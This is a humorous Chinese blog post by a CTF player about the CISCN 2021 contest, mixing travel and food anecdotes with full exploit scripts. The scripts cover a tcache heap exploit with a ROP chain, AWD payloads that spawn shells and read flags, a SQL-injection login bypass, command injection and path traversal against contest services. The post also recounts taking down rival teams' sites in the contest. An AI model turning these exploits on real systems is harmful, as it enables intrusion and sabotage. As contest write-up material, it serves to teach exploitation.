23 Jul 2021

参加 CISCN2021 是什么样的体验

👴只想打个 46 名

25

StudentUnion

StudentUnion (STU)是 Blue-Whale 信息安全研究团队下属战队,成立于 2020 年 12 月,Crypto、Binary、Web 方向齐全。战队内本科生均为非计算机专业(通信工程、地质学、轮机工程、化学工程与工艺),所以取名为 StudentUnion,意为多专业学生联合。

战队 Logo 为《会气》,由核心成员 Surager 设计,主要元素是一个人型头像,配上中国海洋大学的标志波浪,下面是队名 StudentUnion,光晕象征着会气。

会气的意思是人体内阴阳两气会聚,出自《史记·扁鹊仓公列传

扁鹊曰:“若太子病,所谓“尸蹶”者也。夫以阳入阴中,动胃繵缘,中经维络,别下於三焦、膀胱,是以阳脉下遂,阴脉上争,会气闭而不通,阴上而阳内行,下内鼓而不起,上外绝而不为使,上有绝阳之络,下有破阴之纽,破阴绝阳,色废脉乱,故形静如死状。太子未死也。夫以阳入阴支兰藏者生,以阴入阳支兰藏者死。凡此数事,皆五藏蹙中之时暴作也。良工取之,拙者疑殆。”

我们把题目比作阴阳两气,阳气代表已解出的题,阴气代表未解出的题,每次比赛都是阴阳两气会聚的过程,也就是会气。

是以阳脉下遂,阴脉上争,会气闭而不通,阴上而阳内行,下内鼓而不起。

解出的题过多,可能会导致选手麻痹大意,排名”静如死状“,但如果及时调整状态,仍然可以获得良好的成绩。解出的题过少,排名也”静如死状“,但这种情况基本上必死无疑。

夫以阳入阴支兰藏者生,以阴入阳支兰藏者死。

取会气之意作为 Logo,是希望我们在比赛中能够全程保持专注,即使出了问题,也能够”良工取之”。

良工取之,拙者疑殆。

logo

StudentUnion 是一支年轻的战队,目前人数不足 10 人,现在面向中国海洋大学招新,想加入的女同学可以发送简历到👴的邮箱 wyxaidai@gmail.com,男同学去找三万👴,联系方式在他的 About👴中。想加入的同学可以发送简历到我的邮箱 wyxaidai@gmail.com。

华东北之👴

初赛前一天,贵室发生了腾汛新闻 hotfix 事件,希望热风枪没事。

众所周知,CISCN 赛程合 理 且 严 谨,分为初赛、分区赛、决赛,打起来挺麻烦。

初赛没有使用北京易霖博信息技术有限公司的平台,而是使用了某数字公司的平台,开创了 CTF 的新模式——高考模式。这是 CTF、AWD、AWD+、AWD + 开倒车、AWD + 开倒车又 +、COLDDOWN 以来的又一大创举。这有效防止了常规 CTF 比赛结束前的法师行为:

我能在最后十分钟放一个奥术智慧,再开一个研发计划,却不会被扬。

但是在高考模式下,法师只能在当前科目施法:

考试结束,停止答题,把笔放下,全体起立。

就是题量有丶大,有三套卷子。

开局平台炸了,致敬北京易霖博信息技术有限公司,问题不大,先听一首北京易霖博信息技术有限公司主题曲。

1

11

pwn 挺常规,👴扬了一道就去做 misc 了。

silverwolf

常规堆题,开了沙箱。

输入的 index 没用,只能是 0,指针 在 buf 中,free 后 不清零,存在 uaf。

首先利用 uaf 泄露堆地址,由于 malloc size 有限制,不能通过正常方式制造 unsorted bin。

libc 版本为 libc.2.27-1.3 不能直接 double free,需要先使用 uaf edit 覆盖 key。

利用 uaf 进行 tcache attack 修改 topchunk size,topchunk size 不足以 malloc 时会放入 unsorted bin,取出后打印即可泄露 libc。

泄露 libc 后利用 uaf 进行 tcache attack 将堆块申请到 environ 并打印,泄露栈地址,再 tcache attack 申请到栈中进行 rop。

由于 malloc size 有限制,不足写入 orw 的 rop 链,所以先写入一个 read 的 rop 链向栈中写入更多数据。

由于 openat 被限制,不能调用 open 函数,需要使用系统调用。

from pwn import *
#r = process('./silverwolf',aslr=False)
libc = ELF('./libc-2.27.so')

def menu(choice):
    r.recvuntil('Your choice:')
    r.sendline(str(choice))

def add(index,size):
    menu(1)
    r.recvuntil('Index:')
    r.sendline(str(index))
    r.recvuntil('Size:')
    r.sendline(str(size))

def edit(index,content):
    menu(2)
    r.recvuntil('Index:')
    r.sendline(str(index))
    r.recvuntil('Content: ')
    r.sendline(content)

def show(index):
    menu(3)
    r.recvuntil('Index:')
    r.sendline(str(index))

def delete(index):
    menu(4)
    r.recvuntil('Index:')
    r.sendline(str(index))

mybase = 0x555555757000
add(0,0x60)
delete(0)
show(0)
r.recvuntil('Content: ')
leak = u64(r.recvuntil('\n',drop = True).ljust(8,'\x00'))
log.success(hex(leak))
heap_base = leak - 0x1090
key = heap_base + 0x10
log.success(hex(heap_base))
add(0,0x40)
delete(0)
edit(0,p64(0)*2)
delete(0)
edit(0,p64(0x555555758920-mybase+heap_base))
add(0,0x40)
add(0,0x40)
edit(0,p64(0)+p64(0x21))
add(0,0x30)
add(0,0x10)
add(0,0x10)
add(0,0x10)
add(0,0x10)
add(0,0x10)
add(0,0x10)
add(0,0x10)
edit(0,'./flag\x00\x00')
add(0,0x10)

show(0)
r.recvuntil('Content: ')
leak = u64(r.recvuntil('\n',drop = True).ljust(8,'\x00'))
log.success(hex(leak))
libc_base = leak - 0x3ebcb0
log.success(hex(libc_base))


environ = libc_base + libc.sym['environ']
add(0,0x30)
delete(0)
edit(0,p64(0)*2)
delete(0)
edit(0,p64(environ))
add(0,0x30)
add(0,0x30)
show(0)
r.recvuntil('Content: ')
stack = u64(r.recvuntil('\n',drop = True).ljust(8,'\x00'))
log.success(hex(stack))


open_addr = libc_base+libc.sym['open']
read_addr = libc_base+libc.sym['read']
write_addr = libc_base+libc.sym['write']
pop_rdi = libc_base+0x215bf
pop_rsi = libc_base+0x23eea
pop_rdx = libc_base+0x1b96
syscall_ret = libc_base+0xd2745
pop_rax = libc_base+0x43ae8
ret = stack - 0x120
add(0,0x78)
delete(0)
edit(0,p64(0)*2)
delete(0)
edit(0,p64(ret))
add(0,0x78)
add(0,0x78)
payload = p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(ret+0x38)+p64(pop_rdx)+p64(0x200)+p64(read_addr)
edit(0,payload)

payload = ''
payload += p64(pop_rdi)+p64(0x555555757fe0-mybase+heap_base)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall_ret)

payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack)+p64(pop_rdx)+p64(0x40)+p64(read_addr)
payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(stack)+p64(pop_rdx)+p64(0x40)+p64(write_addr)

pause()
r.sendline(payload)
r.interactive()

👴🚪在公费薯片的支持下,比赛结束前九小时成功登顶华东北,提前下班,大屏放 mc 石头。

13

《鸥剋》

mc石头

比赛结束,虽然全国排名被淦下去了,但是华东北还是登顶,成为华东北之👴,下面一名是 TimeKeeper,又挨着了。

陈延毕那队随便做了点 Misc 也进分区赛了,可以一起合肥旅游。

华东北之👴没了

小黄鸭带明星

22

旅游

赛前准备,指订票订酒店

刚开始👴🚪以为是国防科技大学承办,去长沙比赛,没搞明白为啥华东北的分区赛要去长沙,后来通知出来,是电子对抗学院,那没事了。

👴茶颜悦色没了

惯例,先研究一下吃啥,找了个安徽人问,得到关键信息:

  1. 老母🐓汤(emoji 🐓打 gongji 才能出来,但这个🐓是母鸡,而不是公鸡,更不是公母鸡)
  2. 老乡鸡不好吃,快跑

可惜酒店附近没老母🐓汤,最后在比赛日提供的酒店自助喝到了老母🐓汤,真不戳。

订票,杰哥期末考试撞比赛,为了毕业杰哥只能放弃旅游,宋江开始给👴整🔥

宋江:👴去不了了

👴:👴把票退了

宋江:👴又能去了

👴:👴

订酒店,比赛在书法大厦,350 标间含双早,报销标准 350,完美

👴:住书法大厦吼不吼啊

三万👴:吼啊

陈延毕:吼啊

🍊:我也资瓷!

👴:太腐败了

房间不错,和三万👴夜里的智慧(指看比赛)。

32

七个人刚好三标间加一间带🛏房,酒店有游泳池,三万👴带了全套装备,陈延毕要称霸游泳池,宋江大伏笔,说游泳得另外掏钱,走的时候👴🚪才发现拿房卡就能进。

最后一天中午吃臭鳜鱼,宋江点菜真的一绝,👴出去还了个车,他点了两份炒饭。

👴:?

臭鳜鱼是真的臭,吃了一口差点给👴带走。听说有人家门口臭鳜鱼因为太臭被投诉了,合理。

3

臭豆腐,这👴是真没想到,口感太奇怪了,外面是焦的,里面很细腻,感觉就像把豆腐乳扔油锅里炸,颠覆了👴对臭豆腐的理解。

其他的菜还彳亍,挺不错,最后炒饭没吃完,各剩一半,拼起来刚好是一份,真巧了。

国赛天花板

👴是李老师粉丝

分区赛由国防科技大学电子对抗学院承办,这是👴目前见过最好的主办方之一。

平台是赛宁的,不是北京易霖博信息技术有限公司

华东南和华东北的比赛时间是挨着的,平台也一样。华东南出了大问题,平台都打炸了。听说是不死🐎资源耗尽,还有人搅屎。有问题华东北主办方就向平台方施压,权限限制死,加了点规矩,不死马见一个扬一个,第一次警告,第二次扣 10%,第三次扣 50%,第四次扬了通报学校。防 py 做的也很好,录屏开屏蔽器,押身份证或学生证上撤硕并限制人数,现场有部队监考。

李老师说话一看就懂比赛,这让👴想起了去年和主办方跨服聊天:

Q:给流量吗?

A:明天比赛时手机关机封袋,要流量能有啥用?

事实上李老师比👴想的还要牛逼,👴去郑州报名强网杯 AI 赛,顺便去强网杯现场看了一下,看见他带着媳妇抱着娃,扬了 Windows 提权。

追星成功

说到强网杯顺便提一句吃饭趣事,强网杯颁奖之后👴和 W&M 几位👴去吃饭,Y 老师找了家地道河南菜。

结果就来自阿姆斯特丹的👴喷射了,👴怀疑👴不地道。

🚗神

🚗神,指上🚗的神

coin 割割赛前问👴,他一个密码手打 awd 有啥用?👴说,宁开局可以辅佐🎩👴,有白给漏洞快速利用交一波 flag,其他时间宁可以把监控挂上,被☀了就吆喝一声:被☀了!被☀了!👴🚪马上就去看流量。

ssh 刚开始还出了点问题,有的能连有的连不上。别人都开始打全场了,👴🚪ssh 还没连上。因为很多队伍不知道 ssh 怎么用密钥连接,主办方还在大屏上打出连接教程。👴说👴连不上,可能是服务器有问题,主办方以为👴不知道怎么用密钥,指导了一波,发现确实是服务器问题,差点致敬北京易霖博信息技术有限公司。👴🚪就硬等,过了一会好了,权限限制真死,tar 打包、数据库备份都没权限,给👴整傻了。🎩👴 只能硬拖文件,TMD(挺慢的),别人全场都打一轮了👴🚪还在拖源码。

👴:能☀全场了🐎?

🎩👴:ssh 还没连上

👴:现在呢?

🎩👴:没权限打包

👴:现在呢?

🎩👴:在拖源码

赛前说提供延迟流量,ssh 上去一看,竟然是实时流量,交互写完👴直接睡大觉,不看了。权限限制死,监控 flag 也没权限,coin 割割只能全程辅佐🎩👴,等稳定下来去跑茶歇区。

👴🚪的位置不太好,座位按初赛排名分布,👴🚪最靠里,离茶歇区最远,对👴🚪非常不利。李老师宣布茶歇区开放,话音未落👴就站了起来,从最远的位置大摇大摆走向茶歇区,其他队伍还在看题,而👴已经拿了点小蛋糕回来,拿下了茶歇区一血。下午带🔥开始高强度去茶歇区时就只剩水果了,题什么时候都能做,小蛋糕没了那可是真没了。

恭喜 StudentUnion 战队获得茶歇区一血!

隔壁 TimeKeeper 开始躁动起来,小🦌和 ccx 动作明显加快,小🦌好像在说“出了出了”,👴也激动起来了,开个 FTP,刷新平台,等着被☀。

题目:👴被打了呜呜呜

👴:奈斯!

三万👴:谢谢老板的火箭!

👴马上刷新 FTP,拽下来最新的流量,wireshark 打开,ctrl+f 分组字节流找 flag,跟 tcp 流拿原始数据。看了一眼 hex dump,不需要 leak,直接 decode('hex') 就好使,复制进批量脚本打全场。

👴:谢谢老板,老板大气,老板身体健康!

这次 pwn 题都很容易抄,只有一道题需要看下 leak,拿两份流量 diff 一下就可以确定偏移,pwn 题一道都没做,全是抄的,还都是一血轮次上车。

👴:这群人做题咋这么慢,能不能搞快点,👴等着被打都着急了

eval

抄!

def challenge_eval(ip, key):
    r = remote(ip,port)
    payload = '''
    31330a
    300007002f62696e2f73683300
    65786563207368202d690a747261702022222031203220332034203520362037203820392031342031352031370a6563686f20656a69666a65726966696572666a656f72666a6572696f0a
    '''

    r.send('31330a'.decode('hex'))
    sleep(0.1)
    r.send('300007002f62696e2f73683300'.decode('hex'))
    sleep(0.1)
    r.send('65786563207368202d690a747261702022222031203220332034203520362037203820392031342031352031370a6563686f20656a69666a65726966696572666a656f72666a6572696f0a'.decode('hex'))
    sleep(0.1)
    r.sendline('echo fuck')
    r.recvuntil('fuck')
    r.sendline('cat flag')
    r.recvline()
    flag = r.recvline().replace('$ ','')
    r.close()
    log.info(flag)
    return flag

decoder

抄!


def challenge_decoder(ip, key):
    r = remote(ip,port)
    r.send('330a'.decode('hex'))
    r.send('08040a'.decode('hex'))
    r.send('360a'.decode('hex'))
    r.send('1004341234120a'.decode('hex'))
    r.send('320a'.decode('hex'))
    r.send('08010a'.decode('hex'))
    r.send('636174202f666c61670a'.decode('hex'))
    r.recvuntil('codec>')
    r.recvuntil('codec>')
    r.recvuntil('codec> ')

    flag = r.recvline()
    log.info(flag)
    r.close()
    return flag

cryptopark

抄!

def exp_pwn(ip,port):
    r = remote(ip,port)
    payload = '''
    31330a
    300007002f62696e2f73683300
    65786563207368202d690a747261702022222031203220332034203520362037203820392031342031352031370a6563686f20656a69666a65726966696572666a656f72666a6572696f0a
    '''

    r.send('31330a'.decode('hex'))
    sleep(0.1)
    r.send('300007002f62696e2f73683300'.decode('hex'))
    sleep(0.1)
    r.send('65786563207368202d690a747261702022222031203220332034203520362037203820392031342031352031370a6563686f20656a69666a65726966696572666a656f72666a6572696f0a'.decode('hex'))
    sleep(0.1)
    r.sendline('echo fuck')
    r.recvuntil('fuck')
    r.sendline('cat flag')
    r.recvline()
    flag = r.recvline().replace('$ ','')
    log.info(flag)
    #r.interactive()
    return flag

这题和华东南的一模一样,md5 都一样,题目复用,平台方是带忽悠了。

secgame

抄!

def challenge_sec(ip, key):
    r = remote(ip,port)
    def menu(choice):
        r.recvuntil('Input >> ')
        r.sendline(str(choice))

    def add(size,card):
        menu(1)
        r.recvuntil('Size:')
        r.sendline(str(size))
        r.recvuntil('Card:')
        r.sendline(card)

    def edit(index,card):
        menu(2)
        r.recvuntil('Index:')
        r.sendline(str(index))
        r.recvuntil('Card:')
        r.sendline(card)

    def delete(index):
        menu(3)
        r.recvuntil('Index:')
        r.sendline(str(index))

    def real():
        menu(4)

    def gift(passwd):
        menu(2333)
        r.recvuntil('Input my passwd!')
        r.sendline(passwd)

    add(24,'a')
    add(1288,'a')
    add(24,'a')
    add(24,'a')
    add(1288,'a')
    add(24,'a')
    add(24,'a')
    edit(1,'a'*0x4f0+p64(0x500))
    edit(4,'a'*0x4f0+p64(0x500))
    delete(1)
    edit(0,'a'*0x18)
    add(24,'a')
    add(1240,'a')
    delete(1)
    delete(2)
    add(48,'a')
    edit(7,"ffff")
    add(1248,'a')
    delete(4)
    edit(3,'a'*0x18)
    add(24,'a')
    add(1240,'a')
    delete(4)
    delete(5)
    add(64,'a')
    edit(8,"ffff")
    delete(2)
    add(1256,'a')
    delete(2)
    edit(7,p64(0)*3+p64(0x4f1)+p64(0)+p64(0xdead00e0))
    edit(8,p64(0)*5+p64(0x4e1)+p64(0)+p64(0xdead00e8)+p64(0)+p64(0xdead00c3))
    add(64,'a')
    edit(2,p64(0)*8)
    gift(p64(0)*6+"cat flag")
    r.recvline()
    flag = r.recvline()
    log.info(flag)
    r.close()
    return flag

再抄一个!

payload = '''
310a
33320a
410a
310a
34300a
420a
310a
34300a
430a
310a
3234300a
440a
310a
33320a
450a
330a
300a
320a
320a
43434343434343434343434343434343434343434343434343434343434343439000000000000000
330a
330a
310a
33320a
41320a
320a
310a
f0ff320200000000f0ff3202000000000a
310a
3333360a
55422061747461636b0a
320a
310a
42424242424242424242424242424242424242424242424242424242424242424242424242424242
330a
320a
5965730a

'''
payload = payload.split('\n')
def challenge_sec(ip, key):

    r = remote(ip,9999)
    for i in range(len(payload)):
        #log.info(str(i))
        r.send(payload[i].decode('hex'))
        sleep(0.1)

    r.recvuntil('/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[')
    leak = r.recvuntil(']')[2:14]
    leak = int(leak,16)
    #log.success(hex(leak))
    libc_base = leak - 0x777f5
    #log.success(hex(libc_base))
    secret = libc_base + 0x3c4b78
    fuck = libc_base+0x7f4f48
    #log.success(hex(secret))
    #log.info(hex(fuck))
    #context.log_level  = 'debug'


    cce = fuck-0x7afcce
    #log.success(hex(cce))
    #log.success(hex(cce)[-6:].decode('hex')[::-1].encode('hex'))
    payloadwdnmd = p64(secret)+str(fuck)+'\x00\x00\x00'+hex(cce)[-6:].decode('hex')[::-1]+'636174202f666c61670a'.decode('hex')

    r.send(payloadwdnmd)
    r.recvuntil('Value:')
    flag = r.recvline()
    log.info(flag)
    r.close()
    return flag

eyou

这是最快乐的一题,打进后台关站就能把别人站扬了 check down,还能顺手把管理员账号扬了。👴🚪刚开始也被🐏了,🎩👴找到流量

username[0]=exp&username[1]=>'Z'))+union+select%0d%0d1,'admin','',1,5,6,7,8,9,10,11,12,13,14,15,16+--+a

修完就开始🐏别人。

👴还问了一下李老师,这样🐏人是不是合法🐏人,李老师说没问题,👴大胆开🐏。

因为后台登录有验证码,不能搞自动化利用,👴🚪只能手动🐏人,先写个脚本看看谁活着

#coding:utf-8
ipfmt = '172.35.{}.11'
ip_list = []
for i in range(2,73):
	ip_list.append(ipfmt.format(i))

import requests
for ip in ip_list:
	url = 'http://{}'.format(ip)
	try:
		ret = requests.get(url,timeout=3)
		if '<script src="https://res.wx.qq.com/open/js/jweixin-1.0.0.js" type="text/javascript"></script>' in ret.text:
			print(ip)
	except:
		continue

活着的上去把站关了管理员账号扬了,一直在抵抗的进后台写一堆👴👴👴👴👴👴👴👴👴👴👴👴

开始🐏人的时候其他题目都差不多下班了,👴和 coin 割割、🎩👴都在手动🐏,杀疯了,陈延毕那队都给他扬了。

这个洞怎么修?把验证码扬了写死就行。

赛后和其他队伍交流,第一句话就是:你们 web1 是不是宕机了?👴🐏的

抄作业抄了个第三,又和 TimeKeeper 挨着了,拿过一血的都没👴🚪分高,这波属实是🚗神了,但👴🚪不再是华东北之👴。

14

陈延毕那队拿了个三等奖,也算是没白来

考试周破防

考试周之前几乎每周都有事,国赛初赛、校赛运维、XCTF Final、BCTF 分站赛、国赛分区赛。

《和 7k 👴盯盘》

27

《cnitlrt nb》

26

《BCTF》

28

考试前一周去打分区赛,回来直接裂开

《热带风味冰红茶》

21

28 号,数字信号处理,一章没看

30 号通信原理,十一章,一章没看

3 号,光电技术,看了,不会

4 号,微波技术,等到 3 号再看

我你🐎17 周还要做实验

20

就这还天天夜彳亍

31

还在实验室玩蛤蟆

30

考完试当天就快进到 TCTF,擦边进决赛,等打完决赛写一篇。

29

果然期末崩了,考出来就像光电考场上的👴一样:

考试喷射,光电考了半个小时就顶不住提前交卷去撤硕了

还没带纸,幸好中国海洋大学撤硕有纸,欢迎报考中国海洋大学

华东北之👴又来了

👴比赛都会带小黄鸭,每学期放假放到家里一只,再带一只新的。这次👴带了两只毛绒鸭子,一只塑胶鸭子。一只毛绒鸭子看过👴🚪X-NUCA 起飞,另一只今年从初赛打到决赛,塑胶鸭子和👴一起在去年 CISCN(CCISC)白给。👴希望 X-NUCA 鸭能指导👴🚪比赛,国赛鸭能继续当好吉祥物,白给鸭能看到👴🚪不再白给。

4

5

打完比赛举着小黄鸭合影,此处省略合影一张。

flag 和 flag 架子都能带回去,已经放到贵室了。

旅游

第一天🎩👴和三万👴先到,然后是👴,coin 割割最晚,九点才下✈。👴到了之后和🎩👴、三万👴找吃的,coin 割割来的太晚,不配吃饭。转了一圈发现都打烊了,这边好像没有夜生活,有的商场八点半就关门。👴突然想到这边必有海底捞,海底捞夜里营业,是一家夜店,还有学生优惠,国安民乐,岂不美哉?

👴:👴🚪来哈尔滨吃海底捞?

🎩👴:👴🚪来哈尔滨吃海底捞?

三万👴:👴🚪来哈尔滨吃海底捞?

吃,问了一下学生优惠,得等到十点之后开台,刚好等 coin 割割。只要吃饭那必然讨论一个经典问题

👴:公费🐎?

🎩👴:公费🐎?

coin 割割:公费🐎?

三万👴:公费🐎?

前委研究决定:打好了公费,打不好滚去吃屎。

17

后面有桌🚺过生日,让👴🚪见识到了海底捞的服务,开着机器举着牌就过来了,👴🚪跟着👏,祝她生日快乐。

18

四星酒店👴感觉不会出什么问题,楼看着挺气派的,到了之后发现出大问题,这个酒店的味道就充满了岁月的痕迹,东西太老了,这应该是二十年前的四星酒店。

2

看看这开关,让👴回到了上个世纪,这在当年可是高科技,👴躺在床上就能控制整个屋的灯,这开关是机械开关,反馈感很强,声音很脆,键程长,手感好。不像某些开关摸一下不知道是开是关。旋钮可以控制灯的亮度,只要轻轻一扭就可以,动作一定要优雅,👴这种粗人第一次用直接把旋钮淦下来了。

中央空调,看开关就像是老东西,音量分 High、Low 两档,调温度的旋钮特别大,占了控制台的一半,一看就没用,声音大的跟夜店抽油烟机一样,动静大,制冷效果不行,叠加起来对睡眠质量影响挺大。马桶也是复古风格,水箱旁边有个铁片,按一下冲水,冲完塞子随机对不准,水就一直流。床不太舒服,被子还有点潮,同样是四⭐,和书法大厦差的挺多。

🎩👴:这酒店配上夕阳你能体验到上个世纪

🎩👴喜欢看电视,拿着遥控器折腾半天打不开,👴寻思是不是线没接好,钻进柜里也没摸明白,🎩👴只好拿起黄色电话摁 6,过了一会来了个师傅,拿遥控器按了一下,电视开了。

🎩👴:?

第一天夜里的智慧之后已经两点多了,躺床上睡不着,空调声音大不制冷,被子潮还有岁月的味道,翻来覆去突然有光照进来了,看一眼手机快四点,天亮了。

最后一天夜里起来上撤硕,熟练的摸到撤硕,把手转不动,撤硕🚪咋都打不开,去看了一眼三万👴在床上,👴脑子不太清晰,还以为是 coin 割割来上撤硕了,想了想又觉得不对劲,有点玄学,就憋着继续睡了。

2021/7/19 4:30:54

👴:👴傻了

2021/7/19 4:31:10

👴:撤硕🚪打不开了

2021/7/19 8:18:00

👴:吃饭

👴在梦中听到一个声音:

三万👴:艹,撤硕门打不开了,👴要憋死了。

👴醒了说👴也没打开倒头就睡,👴再次起来的时候撤硕🚪已经开了,应该是撤硕🚪🔒自己转下来反锁了,三万👴又给扭上去就开了。

👴:这毕竟是四⭐,👴🚪还是要吃了酒店自助再评价

早饭在三楼莫斯科,在这个复古的酒店👴想起来了过去几代人对撤硕的雅称——莫斯科

👴去莫斯科 =👴去撤硕

这个典故应该出自外国记者系列

为什么贵国有人去莫斯科,因为苍蝇都往撤硕飞

🎩👴、coin 割割、三万👴竟然都不知道,可能👴老了

早饭挺常规的,东西不多,凑合吃。面条不行,是👴吃过的酒店自助里最难吃的,清水煮面原汤化原食,嘴里都淡出个鸟来了,建议来丶卤。

🚗神没了

🚗神没了,因为👴🚪把题做了,还拿了个一血(() 起来了)

赛前必摇滚

ccx:你咋到哪都先拉屎

👴的一个标准姿势就是手持卷纸找撤硕,赛前必拉屎,肯定有天才嗨客和👴一样,所以撤硕必满,一大爷看👴找不到撤硕,说:你搁一楼肯定满,👴带你去上面。上面是观众席,有撤硕,没人,挺安静,可以思考比赛策略,如果是外开门就完美了。摇滚之后可以俯瞰赛场,但是👴不能搁这独自凭栏半天,因为快开始了,👴网线还没插,三万👴的虚拟🐓还崩了。

19

平台是安恒的,不是北京易霖博信息技术有限公司

赛前通知会给延迟一小时的流量。👴想了一下,有三种可能,在一小时时刻给前一小时整个时间段的流量,在一小时时刻给一小时前轮次的流量,在一小时时刻给一小时前时刻的流量。第一种最好,第二种次之,第三种 gg,后来细则说是第二种,那就问题不大了。👴虽然手动上车也很快,但是怕 exp 太长或者眼瞎,出大问题,所以写了个自动化上车脚本:AutoGetOnCar,比赛也没用上,因为👴🚪差不多都自己做了,需要抄流量的题直接复制粘贴就行。

分区赛👴发现🎩👴的批量脚本有丶问题,多线程打 pwn 总是崩,自己写了个单线程的。这次比赛 flag 提交挺玄学的,有提交次数限制,而且比赛中因为 flagserver 被人扬了,正确的 flag 交上去可能报错,每轮的最后一分钟经常会突然多交上去几个 flag。flagserver 出事这一点,致敬了北京易霖博信息技术有限公司。赛前海底捞和🎩👴讨论了一下怎么改,夜里的智慧搞了一波,比赛中因为 flagserver 出事还得再改。👴用🎩👴的脚本打 pwn 还是出问题,想了想还是单线程靠谱,给👴的脚本上加了个 fucked_list 手动维护,这叫牺牲有效性换取可靠性。

这次不和带🔥嘻嘻哈哈了,认真起来了,不当茶歇区战神了,茶歇区👴就去过一次,赛后看一眼,这是👴第一次见有冰红茶滴水儿的茶歇区,建议以后换成热带风味的。

8

9

这是👴第一次线下比赛没吃遍茶歇区。

Funny Genealogical management

又是 md5 中间插 \x00 比较,眼瞎看不见赋了个 \x00 就完蛋了。爆破跑一个 md5 是 00 开头的输入就能通过,后面有个明显的命令注入

from pwn import *
ip = ''
port = 9999
r = remote(ip,port)
#context.log_level = 'debug'
#r = process('./pwn',env={"LD_PRELOAD":"./libc-2.27.so"})

def menu(choice):
    r.recvuntil('choice:')
    r.sendline(str(choice))

def add(size,data):
    menu(1)
    r.recvuntil('size:')
    r.sendline(str(size))
    r.recvuntil('data:')
    r.sendline(data)

def edit(index,data):
    menu(2)
    r.recvuntil('index:')
    r.sendline(str(index))
    r.recvuntil('data:')
    r.sendline(data)

def show(index):
    menu(3)
    r.recvunti;('index:')
    r.sendline(str(index))

def delete(index):
    menu(4)
    r.recvuntil('index:')
    r.sendline(str(index))

passwd = '\x01\x04\x8a\xa9'
#0038b40a617a4eabbaab98e7f958004d
checkname = 'admin'.ljust(0x20,'\x00')
r.recvuntil('[33mpassword:')
r.send(passwd)
r.recvuntil('checkname:')
r.send(checkname)
r.sendline('" && /bin/sh')
r.sendline('echo fuck')
r.recvuntil('fuck')
r.sendline('curl flagserver.top/index.php?token=')
r.sendline('ls')
data = r.recvuntil('bin',True)[-32:]

log.info(data)
r.interactive()

hm

说是鸿蒙,附件挺大,看着挺吓人,其实就是个 httpd,流量直接抄

from pwn import *
import requests
ip = ''
r = remote(ip,9999)
#context.log_level = 'debug'
data = '474554202f736574636f6e6669672e6367693f20485454502f312e300d0a0d0a18000000130000002f2e2e2f2e2e2f2e2e2f2e2e2f666c6167000a'

r.send(data.decode('hex'))

r.recvuntil('Here is your flag token: ')
token = r.recvuntil(',',True)
print(token)
url = "http://{}:88/submit_flag_token?flag_token={}&team_token=".format(ip,token)
print(url)
ret = requests.get(url)
flag = ret.text
log.info(flag)

这题 flag 提交有点恶心,读到 flag 文本提示拿文本中的 flagtoken 和 teamtoken 去请求该靶机的 http://{}:88/submit_flag_token?flag_token={}&team_token=

flagserver 被🐏了,打出来一堆 502,出 flag 的交上去还报错,👴🤮了。

junk

有花指令,看着跟屎一样,后来放 hint 给了不带花指令的

开局一个方程

  for ( i = 0; i <= 15; ++i )
  {
    printf("waf-bytes-%d:", (unsigned int)(i + 1));
    buf[(int)read(0, buf, 0x100uLL)] = 0;
    v0 = strtol(buf, 0LL, 10);
    *(&v3 + i) = v0;
  }
  if ( v5 * v4 * v3 - v6 != 80376
    || v3 != 18
    || v5 * 18 * v4 + v6 != 80616
    || (v13 + v3 - v8) * v16 != 12642
    || (v4 * v3 - v5) * v6 != 102000
    || (v5 + v4 * v3) * v6 != 122640
    || v9 * v8 * v7 - v10 != 2432
    || v10 * v15 + v4 + v18 != 3783
    || v9 * v8 * v7 + v10 != 2498
    || (v8 * v7 - v9) * v10 != 4224
    || v11 != 49
    || (v9 + v8 * v7) * v10 != 5346
    || v13 * v12 * v11 - v14 != 257888
    || v13 * v12 * v11 + v14 != 258082
    || (v12 * v11 - v13) * v14 != 301088
    || (v11 * v5 - v16) * v12 != 265525
    || (v13 + v12 * v11) * v14 != 316802
    || v17 * v16 * v15 - v18 != 2128240
    || v17 * v16 * v15 + v18 != 2128244
    || v14 != 97
    || (v16 * v15 - v17) * v18 != 28862
    || (v17 + v16 * v15) * v18 != 29446 )
  {
    exit(0);
  }
  return puts("you done");
}

F5 复制出来 ctrl+h 一顿操作,跑 z3

from z3 import *
s = Solver()
for i in range(3,19):
	print("v{} = Int('v{}')".format(i,i))
v3 = Int('v3')
v4 = Int('v4')
v5 = Int('v5')
v6 = Int('v6')
v7 = Int('v7')
v8 = Int('v8')
v9 = Int('v9')
v10 = Int('v10')
v11 = Int('v11')
v12 = Int('v12')
v13 = Int('v13')
v14 = Int('v14')
v15 = Int('v15')
v16 = Int('v16')
v17 = Int('v17')
v18 = Int('v18')
s.add(v5 * v4 * v3 - v6 == 80376)
s.add(v3 == 18)
s.add(v5 * 18 * v4 + v6 == 80616)
s.add((v13 + v3 - v8) * v16 == 12642)
s.add((v4 * v3 - v5) * v6 == 102000)
s.add((v5 + v4 * v3) * v6 == 122640)
s.add(v9 * v8 * v7 - v10 == 2432)
s.add(v10 * v15 + v4 + v18 == 3783)
s.add(v9 * v8 * v7 + v10 == 2498)
s.add((v8 * v7 - v9) * v10 == 4224)
s.add(v11 == 49)
s.add((v9 + v8 * v7) * v10 == 5346)
s.add(v13 * v12 * v11 - v14 == 257888)
s.add(v13 * v12 * v11 + v14 == 258082)
s.add((v12 * v11 - v13) * v14 == 301088)
s.add((v11 * v5 - v16) * v12 == 265525)
s.add((v13 + v12 * v11) * v14 == 316802)
s.add(v17 * v16 * v15 - v18 == 2128240)
s.add(v17 * v16 * v15 + v18 == 2128244)
s.add(v14 == 97)
s.add((v16 * v15 - v17) * v18 == 28862)
s.add((v17 + v16 * v15) * v18 == 29446)

print(s.check())
answer = s.model()
print(answer)
'''
[v14 = 97,
 v11 = 49,
 v3 = 18,
 v4 = 52,
 v12 = 65,
 v18 = 2,
 v15 = 113,
 v10 = 33,
 v9 = 17,
 v16 = 129,
 v5 = 86,
 v17 = 146,
 v6 = 120,
 v8 = 1,
 v7 = 145,
 v13 = 81]
 '''

后面全是洞,最简单的应该是栈溢出,看着好像开了 canary,但没用,虚晃一枪,塞了个 canary 但是不验,直接 ret2libc 就行

ip = ''
port = 9999
r = remote(ip,port,)
#context.log_level='debug'

